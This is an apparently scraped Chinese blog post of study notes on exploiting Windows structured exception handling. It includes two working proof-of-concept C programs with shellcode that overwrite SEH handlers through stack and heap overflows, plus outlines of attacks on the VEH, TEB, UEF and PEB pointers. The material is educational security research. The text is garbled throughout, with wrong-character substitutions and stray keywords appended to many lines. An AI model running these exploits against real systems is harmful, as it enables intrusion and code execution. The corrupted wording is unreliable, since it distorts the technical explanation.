OD: Memory Attach Technology - Exception

看到第六章了:形形色色的內存攻擊技術shell

異常處理結構體 S.E.H Structure Exception Handlerwindows

S.E.H 是 Windows 處理異常的重要數據結構。每一個 S.E.H 爲 8 字節:包含 S.E.H 鏈表指針和異常處理函數句柄(兩個 DWORD)。安全

1. S.E.H 存放在系統棧中,棧中通常會同時存放多個 S.E.H
2. 線程初始化時,會自動向棧中安裝一個 S.E.H,做爲線程默認的異常處理。
3. 若是程序源碼中使用了 __try{}__except{} 或者 assert 宏等異常處理機制,編譯器將最終經過向當前函數棧幀中安裝一個 S.E.H 來實現異常處理。
4. 棧中的多個 S.E.H 經過鏈表指針在棧內由棧頂向棧底串成單鏈表,鏈表最頂端的 S.E.H 經過 T.E.B 0 字節偏移處的指針標識。
5. 當異常發生時,OS 會中斷程序,並首先從 T.E.B 的 0 字節偏移處(TEB FS:0)取出距離棧頂最近的 S.E.H,並使用異常處理函數句柄指向的代碼來處理異常。
6. 當離「事故現場」最近的異常處理函數運行失敗時,將順着 S.E.H 鏈表依次嘗試其餘的異常處理函數。
7. 若是程序安裝的全部異常處理函數都不能處理,OS 會用默認的異常處理函數:一般會彈出錯誤提示而後強制關閉程序。

注意:系統對異常處理函數的調用可能不止一次;對於同一個函數的多個 __try 或嵌套的 __try 須要進行 S.E.H 展開(unwind)操做;線程、進程、OS 的異常處理之間的調用順序和優先級等也要考慮。

所以,一種利用思路就出來了:S.E.H 存放在棧中,因此能夠用緩衝區棧溢出覆蓋 S.E.H,將 S.E.H 中異常處理函數的地址修改成 Shellcode 的地址。溢出後錯誤的棧幀每每引起異常,以後 Windows 會將 Shellcode 看成異常處理函數執行。服務器

棧溢出並攻擊 SEH 異常處理回調函數示例以下:數據結構

 1 /*****************************************************************************
 2       To be the apostrophe which changed "Impossible" into "I'm possible"!
 3         
 4 POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique"
 5  
 6 file name    : SEH_stack.c
 7 author        : failwest  
 8 date        : 2007.07.04
 9 description    : demo show of how SEH be exploited
10 Noticed        :    1 only run on windows 2000
11             2 complied with VC 6.0
12             3 build into release version
13             4 SEH offset and shellcode address may need 
14               to make sure via runtime debug
15 version        : 1.0
16 E-mail        : failwest@gmail.com
17         
18     Only for educational purposes    enjoy the fun from exploiting :)
19 ******************************************************************************/
20 #include <windows.h>
21 
22 char shellcode[]=
23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
25 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
26 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
27 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
28 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
29 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
30 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
31 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
32 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
33 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
34 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
35 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
36 "\x90\x90\x90\x90"
37 "\x98\xFE\x12\x00";//address of shellcode
38 DWORD MyExceptionhandler(void)
39 {
40     printf("got an exception, press Enter to kill process!\n");
41     getchar();
42     ExitProcess(1);
43     return 0;
44 }
45 
46 void test(char * input)
47 {
48     char buf[200];
49     int zero=0;
50     //__asm int 3 //used to break process for debug
51     __try
52     {
53         strcpy(buf,input); //overrun the stack
54         zero=4/zero; //generate an exception    
55     }
56     __except(MyExceptionhandler()){}    
57 }
58 
59 int main()
60 {
61     test(shellcode);
62     return 0;
63 }
View Code

以上代碼的測試環境爲 Windows 2000 VM,編譯版本爲 Release。異常處理機制調試與堆調試相似,系統會檢測進程是否處於調試態,調試態的異常處理與常態不同,因此須要使用 int 3 中斷來 Attach 進程進行調試。實驗的關鍵在於肯定 S.E.H 回調函數的句柄,這個是經過調試事先肯定的:單擊 OllyDbg 中的 View -> SEH Chain 能夠看到異常回調函數句柄多線程

Windows 平臺的溢出利用中,修改 SEH 和修改返回地址的棧溢出幾乎一樣流行。在不少高難度的限制條件下,直接利用溢出觸發異常每每能獲得高質量的 exploit。ide

同理,堆溢出攻擊 SEH 的代碼以下:函數

 1 /*****************************************************************************
 2       To be the apostrophe which changed "Impossible" into "I'm possible"!
 3         
 4 POC code of chapter 7.2 in book "Vulnerability Exploit and Analysis Technique"
 5  
 6 file name    : SEH_heap.c
 7 author        : failwest  
 8 date        : 2007.07.04
 9 description    : demo show of how SEH be exploited
10 Noticed        :    1 only run on windows 2000
11                 2 complied with VC 6.0
12                 3 build into release version
13                 4 SEH address may need to make sure via runtime debug
14 version        : 1.0
15 E-mail        : failwest@gmail.com
16         
17     Only for educational purposes    enjoy the fun from exploiting :)
18 ******************************************************************************/
19 #include <windows.h>
20 
21 char shellcode[]=
22 "\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
25 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
26 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
27 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
28 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
29 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
30 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
31 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
32 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
33 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
34 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
35 "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
36 "\x88\x06\x52\x00"//0x00520688 is the address of shellcode in first heap block 
37 //"\x90\x90\x90\x90";//target of dword shouting
38 "\x30\xFF\x12\x00";//target of dword shouting
39 
40 DWORD MyExceptionhandler(void)
41 {
42     ExitProcess(1);
43 }
44 
45 main()
46 {
47     HLOCAL h1 = 0, h2 = 0;
48     HANDLE hp;
49     hp = HeapCreate(0,0x1000,0x10000);
50     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
51     memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means 512 !
52     __asm int 3 // uesd to break the process
53     __try
54     {
55         h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
56     }
57     __except(MyExceptionhandler()){}
58     return 0;
59 }
View Code

須要注意的是,堆溢出中 SEH 的地址須要用以下技巧調試得知:post

首先,OllyDbg 是能夠捕獲全部異常的,但須要在 Optins -> Debugging Option -> Exceptions 中關閉異常過濾。測試

這樣,當進程發生異常時,OllyDbg 就能夠捕獲到(見底部狀態欄):

而後,設置 DWORD SHOOT 攻擊目標爲非法地址 0x90909090,觸發異常後,打開 OllyDbg 的 SEH Chain 才能夠看到須要覆蓋的 SEH 地址:棧頂端 SEH 的位置是 0x0012FF2C,因此 DWORD SHOOT 的地址是 0x0012FF2C + 0x4 = 0x0012FF30

 

深刻 S.E.H

和堆分配機制同樣,MS 從未正式公開過 Windows 的異常處理機制。但在非官方的文獻資料中有一篇著名的技術文章:微軟工程師 Matt Pietrek 所發表的 A Crach Course on the Depths of Win32 Structured Exception Handling,系統地描述了 Windows 中基於 S.E.H 的異常處理原理和大體流程,並講解了 S.E.H 是如何實現 __try{}、__except{} 異常處理機制的,見:http://www.microsoft.com/msj/0197/exception/exception.aspx

從攻擊者的角度講,對異常處理的掌握只要知道改寫 S.E.H 並劫持進程、植入代碼就夠了,但對安全技術研究人員來講,異常處理機制頗有研究價值,幾乎全部大師級別的安全專家都對異常處理機制瞭如指掌,若是能掌握異常處理的全部細節,那麼就有可能創造一種新的漏洞利用方法。

異常處理的最小做用域是線程,此外進程中也有一個能縱觀全局的異常處理,當線程自身的 SEH 沒法處理錯誤的時候,進程 SEH 將發揮做用。這種異常處理不只能影響出錯的線程,進程下屬的全部線程都會受到影響。除了線程、進程異常處理外,OS 還爲全部程序提供了一個默認的異常處理:當全部線程、進程 SEH 都沒法處理異常的時候,默認異常處理將啓用,效果一般是彈出程序崩潰的對話框。

補充異常處理簡要流程以下:
1. 首先執行線程中離棧頂最近的 SEH 的處理函數
2. 若失敗,則依次執行 SEH 鏈表中的後續異常處理函數
3. 若 SEH 鏈表中全部異常處理函數都沒有處理成功,則執行進程中的異常處理
4. 若進程 SEH 處理失敗,則執行 OS 的默認異常處理函數:彈窗!

線程的異常處理

線程中用於異常處理的函數有 4 個參數:

pExcept   : 指向一個很是重要的結構體 EXCEPTION_RECORD,該結構體包含了一些與異常相關的信息,如異常類型、異常發生地址等。
pFrame    : 指向棧幀中的 SEH 結構體。
pContext  : 指向 Context 的結構體,該結構體包含了全部寄存器狀態。
pDispatch : 未知用途。。。

在回調函數(異常處理函數)執行前,OS 會將上述斷點信息壓棧。根據這些對異常的描述,回調函數能夠輕鬆地處理異常:如將除零異常後相關寄存器的值修改成非零,將內存設訪問錯誤異常後的寄存器地址指回有效地址等。

異常處理函數返回後,OS 根據返回值決定下一步操做:

0 ExceptionContinueExecution 異常處理成功,將返回原程序發生異常的地方繼續執行後續指令(這裏一些傳遞給回調函數斷點信息可能被修改過,以防止如除零等異常)
1 ExceptionContinueSearch    表明異常處理失敗,將繼續按異常處理流程執行後續 SEH

線程異常處理中還有一個比較神祕的操做:unwind

當系統順着 S.E.H 鏈表搜索到可以處理異常的句柄時,將會從新遍歷 S.E.H 鏈表中已經調用過的 S.E.H 異常處理函數,並通知這些處理異常失敗的 S.E.H 清理現場、釋放資源,以後這些 S.E.H 結構體將從鏈表中拆除。

unwind 操做很好地保證了異常處理機制自身的完整性和正確性:

unwind 操做是爲了在進行屢次異常處理、甚至互相嵌套的異常處理時,仍能使異常處理機制穩定、正確地執行。unwind 會在真正處理異常以前將以前的 SEH 節點逐個拆除(拆除前會通知異常處理函數釋放資源、清理現場),因此,異常處理時,線程的異常處理函數實際上被調用了兩次:第一輪調用是用來嘗試處理異常,第二輪調用是通知回調函數釋放資源。unwind 調用是在回調參數中指明的,對照 MSDN,查看回調函數第一個參數 pExcept 所指向的 EXCEPTION_RECORD 結構體:

typedef struct _EXCEPTION_RECORD {
  DWORDExceptionCode;
  DWORDExceptionFlags; // Flags
  struct _EXCEPTION_RECORD *ExceptionRecord;
  PVOID ExceptionAddress;
  DWORD NumberParameters;
  DWORD ExceptionInformation [EXCEPTION_MAXIMUM_PARAMETERS];
}   EXCEPTION_RECORD;

當這個結構體中的 ExceptionCode 爲 0xC0000027(STATUS_UNWIND),而且 ExceptionFlags 爲 2(EH_UNWINDING)時,對回調函數的調用就屬於 unwind 調用。unwind 操做是經過 kernel32 中的一個導出函數 RtlUnwind() 實現,kernel32.dll 會轉而再去調用 ntdll.dll 中的同名函數(見 MSDN):

void RtlUnwind (
    PVOID TargetFrame,
    PVOID TargetIp,
    PEXCEPTION_RECORD ExceptionRecord,
    PVOID ReturnValue
)

要注意的是,在使用回調函數以前,系統會判斷當前是否處於調試狀態,若是是,會將異常交給調試器處理。

進程的異常處理

線程中發生的異常若沒有被線程異常處理函數或調試器處理成功,則將交給進程中的異常處理函數。
進程的異常處理函數須要經過 Kernel32.dll 的導出函數 SetUnhandledExceptionFilter 來註冊:

LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
    LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);

進程的異常處理函數返回值爲:

1  EXCEPTION_EXECUTE_HANDLER    錯誤等處處理,程序將退出。
0  EXCEPTION_CONTINUE_SEARCH    沒法處理錯誤,轉交系統進行默認異常處理
-1 EXCEPTION_CONTINUE_EXECUTION 錯誤獲得正確處理,並將繼續執行。系統會用回調函數的參數恢復出異常發生時的斷點狀況(這時引發異常的寄存器值已經獲得修復)

系統默認異常處理 U.E.F - Unhandled Exception Filter

若是用戶沒有註冊進程異常處理,或者進程異常處理失敗,則系統默認異常處理 UnhandledExceptionFilter() 會被調用。

UnhandledExceptionFileter() 首先檢查註冊表 HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug 下的項:

Auto        : 1 表示不彈出錯誤對話框直接結束程序,其他值會彈窗。

Debugger : 指明默認調試器。

由以上信息,能夠總結異常處理的流程以下:

1. CPU 執行時發生並捕獲異常,內核接過進程控制權,開始內核態的異常處理。 2. 內核異常處理結束後,控制權交給 ring3。 3. ring3 中的第一個處理異常的函數是 ntdll.dll 中的 KiUserExceptionDispatcher()。 4. KiUserExceptionDispatcher() 首先檢查程序是否處於調試態,如果,則將異常交給調試器處理。 5. 非調試態下,KiUserExceptionDispater() 調用 RtlDispatchException() 對線程 SEH 鏈表進行遍歷,若是找到合適的回調函數,則進行 unwind 操做。 6. 若是 SEH 處理異常失敗,且用戶使用 SetUnhandledExceptionFilter() 設定了進程異常處理,則這個異常處理將被調用。 7. 若是用戶沒有定義進程異常處理或者定義的進程異常處理失敗,則 UnhandledExceptionFilter() 被調用。
這個流程基於 Windows
2000 平臺,Windows XP 及後續的系統的異常處理流程大體相同,只是 KiUserExceptionDispatcher() 在遍歷 SEH 以前,會先嚐試新加入的異常處理類型 V.E.H(Vectored Exception Handling)

 

 

向量化異常處理 V.E.H - Vectored Exception Handler

從 Windows XP 開始,有兼容之前的 S.E.H 異常處理基礎上,MS 增長了 V.E.H:

V.E.H 和進程異常處理相似,也是基於進程的,須要使用 API 註冊回調函數:

PVOID AddVectoredExceptionHandler(
    ULONG FirstHandler,
    PVECTORED_EXCEPTION_HANDLER VectoredHandler
);

V.E.H 結構
struct _VECTORED_EXCEPTION_NODE {
  DWORD m_pNextNode;
  DWORD m_pPreviowsNode;
  PVOID m_pfnVectoredHandler;
}

能夠註冊多個 V.E.H,V.E.H 結構體之間串成雙向鏈表,註冊 V.E.H 時,能夠指定其在鏈中的位置而不像 S.E.H 那樣按順序壓棧。另外 V.E.H 是保存的堆中。

V.E.H 處理優先級高於 S.E.H 處理,並且 V.E.H 沒有 unwind 操做。

David Litchfiled 在 Black Hat 上的演講 Windows heap overflows 提出若是能利用 DWORD SHOOT 修改指向 V.E.H 頭節點的指針,則異常處理開始後,能夠引導程序執行 Shellcode。

攻擊 TEB 中的 SEH 頭節點指針

SEH 經過 TEB 的第一個 DWORD(fs:0)標識,這個指針指向離棧頂最近的 SEH。Halvar Flake 在 Black Hat 上的演講 Third Generation Exploitation 中提出攻擊 TEB 中 SEH 頭節點指針的利用思路,並指明這種方法的侷限:

1. 一個進程可能有多個線程。

2. 每一個線程都有一個 TEB。

3. 第一個 TEB 開始於 0x7FFDE000,以後每一個 TEB 緊隨前邊的 TEB,相隔 0x1000 字節,向內存低地址增加。

4. 線程退出時,TEB 銷燬,騰出的 TEB 空間能夠被後續重複使用。

服務器程序每每是多線程的,這種利用方法不便於判斷對應 TEB 位置。因此,攻擊 TEB 中 SEH 頭節點的方法通常用於單線程程序。

攻擊默認異常處理 U.E.F

Halvar Flake 最先提出攻擊 UEF 的思路,同時還給出了肯定 UEF 句柄的方法 - 反彙編 kernel32.dll 中的 SetUnhandledExceptionFilter():

利用 IDA Pro 打開 kernel32.dll 進行反彙編,分析結束後查看 Functions 選項卡,鍵入 SetUnhandledExceptionFilter 定位到這個函數,就能找到其入口地址。

雙擊這個函數,IDA 會自動跳到其反彙編代碼處,從反彙編代碼中能夠查到 U.E.F 的地址。

跳板技術能使 UEF 攻擊的成功率增高:異常發生時 EDI 每每指向堆中離 shellcode 不遠的地方,把 UEF 的句柄覆蓋成以下指令之一就能夠定位 shellcode:

call dword ptr [edi+0x78]

call dword ptr [esi+0x4c]

call dword ptr [ebp+0x74]

但堆溢出不像棧溢出同樣有個 jmp esp 做保證,堆溢出利用 edi 不必定能每次都成功。

攻擊 PEB 中的函數指針

UEF 被使用後,最後將使用 ExitProcess() 和結束進程,ExitProcess() 清理現場時須要調用 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection() 進入臨界區同步線程。若是能用 DWORD SHOOT 把 PEB 中這對函數的指針修改爲 shellcode 的地址,那麼 UEF 調用 ExitProcess 時就會執行 shellcode。

比起不固定的 TEB,PEB 位置永遠不變,所以這種方法比淹沒 TEB 中 SEH 頭節點更穩定可靠。

相關文章
相關標籤/搜索